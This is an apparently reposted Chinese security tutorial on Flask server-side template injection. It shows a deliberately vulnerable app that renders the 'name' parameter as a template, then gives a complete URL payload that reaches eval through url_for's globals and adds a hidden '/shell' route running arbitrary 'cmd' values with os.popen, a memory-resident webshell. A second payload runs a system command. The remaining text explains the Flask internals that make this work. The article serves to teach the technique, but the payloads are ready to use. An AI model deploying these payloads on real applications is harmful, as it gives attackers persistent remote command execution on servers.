wahaha2024-12-26文章来源:SecHub网络安全社区
Flask SSTI漏洞环境
from flask import Flask, request, render_template_string
app = Flask( name )
@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)
if name == " main ":
app.run(host='0.0.0.0 ')
内存马
http://***.***.***.*** 1111/?name={{url_for. globals [%27 builtins %27][%27eval%27]
("app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20: import (%27os%27).popen(
_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())",
{%27_request_ctx_stack%27:url_for. globals [%27_request_ctx_stack%27],%27app%27:url_f
or. globals [%27current_app%27]})}}
访问/shell内存马可以任意命令执行
分析一下内存马实现的原理
url_for. globals [' builtins ']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda : import ('os').popen(_request_ctx_stack.top.request.args.get('cmd',
'whoami')).read()
)
"
,
{
' request_ctx_stack':url_for. globals ['_request_ctx_stack'],
'app':url_for. globals ['current_app']
}
)
url_for. globals [' builtins ']['eval']
url_for()是Flask的一个内置函数
通过Flask内置函数可以调用其 globals 属性,该特殊属性能够返回函数所在模块命名空间的所有变量,其中 包含了很多已经引入的modules,这里看到是支持 builtins 的
builtins 即是引用, Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中 了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。其中是包含 eval 、exec等函数的
直接调用就能执行命令了
http://127.0.0.1:5000/?name={{url_for. globals [%27 builtins %27][%27eval%27]
(%22 import (%27os%27).system(%27open%20-a%20Calculator%27)%22)}}
添加路由
add_url_rule()函数定义
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None,
**options)
rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以 / 开头;
endpoint:端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值。这个 值也可以不指定,那么默认就会使用函数的名字作为endpoint的值;
view_func: URL对应的函数(注意,这里只需写函数名字而不用加括号);
provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制
_func.provide_automatic_options =添加规则前为False;
options:要转发到基础规则对象的选项。Werkzeug的一个变化是处理方法选项。方法是此规则应限制的方 法列表(GET 、POST等)。默认情况下,规则只侦听GET (并隐式地侦听HEAD)。从Flask0.6开始,通过标 准请求处理隐式添加和处理选项;
由此可见, payload这部分是动态添加了一条路由,而处理该路由的函数是个由lambda关键字定义的匿名函数。
lambda即匿名函数, payload中add_url_rule()函数的第三个参数定义了一个lambda匿名函数,其中通过os库的 popen()函数执行从Web请求中获取的cmd参数值并返回结果,其中该参数值默认为whoami。
_request_ctx_stack 是Flask的一个全局变量,是一个LocalStack实例。
当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这 个上下文推入到一个名为 _request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取
request_ctx_stack 的栈顶元素 _request_ctx_stack.top 。